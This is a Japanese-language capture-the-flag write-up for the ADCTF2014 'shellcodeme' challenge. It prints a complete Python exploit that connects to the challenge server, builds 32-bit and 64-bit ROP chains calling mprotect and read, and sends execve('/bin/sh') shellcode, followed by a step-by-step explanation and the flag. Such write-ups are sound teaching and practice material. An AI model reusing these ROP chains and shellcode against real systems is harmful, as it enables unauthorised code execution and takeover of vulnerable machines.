ADCTF2014 [23] shellcodeme
解いた後の、まさかのstage2みたいなのってつらい
Can you execute shellcode? Really? shellcodeme.c shellcodemenc pwnable.katsudon.org 33201
この問題は、同じコードから生成されたと思われる3つのバイナリをpwnします。
一つは32bit、もう一つは64bitのバイナリです。
長いので、先にコード載せておきます exploit_shellcodeme.py
#!/usr/bin/env python from struct import * import sys import socket rhp = ("pwnable.katsudon.org",33201) nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc.settimeout(0.5) nc.connect(rhp) print 'Connect to %s:%d' % rhp #==========Stage1==========# def stage1(nc): print 'Stage1' addr_ret = 0x080484fd addr_pop_0xc = 0x08048312 addr_mprotect = 0x08048330 addr_read = 0x08048340 addr_mem_exec = 0x20000000 stdin = 0x0 length = 0x400 exploit = pack("<I", addr_ret) exploit += "\x00"*0xc exploit += pack("<I", addr_mprotect) exploit += pack("<I", addr_pop_0xc) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) exploit += pack("<I", 0x7) exploit += pack("<I", addr_read) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", stdin) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) payload = "\x31\xc0" #xor %eax,%eax payload += "\xb0\x0b" #mov 0x0b,%al payload += "\x68\x2f\x2f\x73\x68" #push 0x68732f2f payload += "\x68\x2f\x62\x69\x6e" #push 0x6e69622f payload += "\x89\xe3" #mov %esp,%ebx payload += "\x31\xc9" #xor %ecx,%ecx payload += "\x31\xd2" #xor %edx,%edx payload += "\xcd\x80" #int 0x80 print 'Send exploit...' nc.sendall(exploit) print 'Send payload...' nc.sendall(payload) #==========Stage2==========# def stage2(nc): print 'Stage2' addr_ret = 0x0040062c addr_pop_rsi_1 = 0x00400691 addr_pop_rdi = 0x00400693 addr_pop_1 = 0x00400692 addr_mov_rdx = 0x00400670 #mov r13,rdx mov %r14,%rsi #mov %r15d,%edi callq *(%r12,%rbx,8) addr_pop_6 = 0x0040068a #pop rbx,rbp,r12,r13,r14,r15 addr_mprotect = 0x004004c0 addr_read = 0x00400490 addr_mem_exec = 0x20000000 addr_buf = 0x00601100 stdin = 0x0 length = 0x400 exploit = pack("<Q", addr_ret) exploit += "\x00"*0x8 exploit += pack("<Q", addr_pop_rdi) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_pop_rsi_1) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0xdeadbeef) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0x7) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_mprotect) exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_mem_exec) payload = "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" #movabs '/bin/sh',%rbx payload += "\x53" #push %rbx payload += "\x48\x89\xe7" #mov %rsp,%rdi payload += "\x48\x31\xf6" #xor %rsi,%rsi payload += "\x48\x31\xd2" #xor %rdx,%rdx payload += "\x48\x31\xc0" #xor %rax,%rax payload += "\xb0\x3b" #mov 0x3b,%al payload += "\x0f\x05" #syscall nc.sendall('./shellcodeme2\x0a') nc.sendall(exploit) nc.sendall(pack("<Q", addr_pop_1)) nc.sendall(payload) stage1(nc) stage2(nc) 続く
まずは32bitのStage1から
そもそもこのプログラムは、readする際に
read(0, &buf, SHELLCODE_LEN);
としていることから、確保した0x20000000ではなく、char*型のbufが格納された場所に書き込んでしまっている
そのため、
(*(void(*)()) buf)()
の際に、書き込んだ始めの4byteのアドレスに制御が飛ぶようになっている
しかしespのずれを考えるのが面倒だったため、即座にretをして通常のスタックオーバーフローの問題のように扱うこととした。
exploit = pack("<I", addr_ret) exploit += "\x00"*0xc exploit += pack("<I", addr_mprotect) exploit += pack("<I", addr_pop_0xc) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) exploit += pack("<I", 0x7) exploit += pack("<I", addr_read) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", stdin) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length)
mprotectで0x20000000のパーミッションをrwxとし、そこにシェルコードを書きこむ
次にreadができるように、add 0xc,$espを忘れずに
readで0x20000000にシェルコードを書きこんだら、そこに制御を飛ばせばStage1は終了。
シェルコードの説明はいつも通りなので割愛
次に64bitのStage2である。
64bitでのsyscallでは、引数を順に$edi,$esi,$edx...の順に格納しておかなければならない。
$rdiと$rsiはROP gadgetを用いて容易に格納できるが、$edxはそう簡単にはいかないようである。
使えるのは
40068a: 5b pop %rbx 40068b: 5d pop %rbp 40068c: 41 5c pop %r12 40068e: 41 5d pop %r13 400690: 41 5e pop %r14 400692: 41 5f pop %r15 400694: c3 retq
でpopしてから、
400670: 4c 89 ea mov %r13,%rdx 400673: 4c 89 f6 mov %r14,%rsi 400676: 44 89 ff mov %r15d,%edi 400679: 41 ff 14 dc callq *(%r12,%rbx,8)
でmovしてやれば良いと考えられる。
ちなみに、同時に$rsiと$ediへの格納も行える。
exploit = pack("<Q", addr_ret) exploit += "\x00"*0x8 exploit += pack("<Q", addr_pop_rdi) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_pop_rsi_1) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0xdeadbeef) exploit += pack("<Q", addr_read)
まずは先程と同じように最初にretします。
$rdiにstdinの0、$rsiに適当な書き込み可能なバッファアドレスを指定してread
nc.sendall(pack("<Q", addr_pop_1))
ここで、1回popするROPgadgetのアドレスを格納させます。これは後ほど重要になってきます。
次に$rbx,$rbp,$r12,$r13,$r14,$r15の順で値を格納し、それを目的のレジスタにmovします。
exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0x7) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_mprotect)
しかし、この後はretではなくcallq *(%r12,%rbx,8)です。
なので、$r12は先程のバッファアドレス、$rbxは0にすることで、call addr_pop_1+0*8となります。
これの命令は実質ret命令と同じです。
そして、$rdi=0x20000000,$rsi=length,$rdx=0x7の状態でmprotectが呼ばれ、読み込み書き込み実行が可能となります。
あとは先程同様に値を格納して、今度はreadでシェルコードを読み込みます。
exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_mem_exec)
最後にそのシェルコードに制御を飛ばして完了です。
面倒なので、シェルコードの説明は同じく割愛。
あー長かったwww
FLAG: ADCTF_I_l0v3_tH15_4W350M3_m15T4K3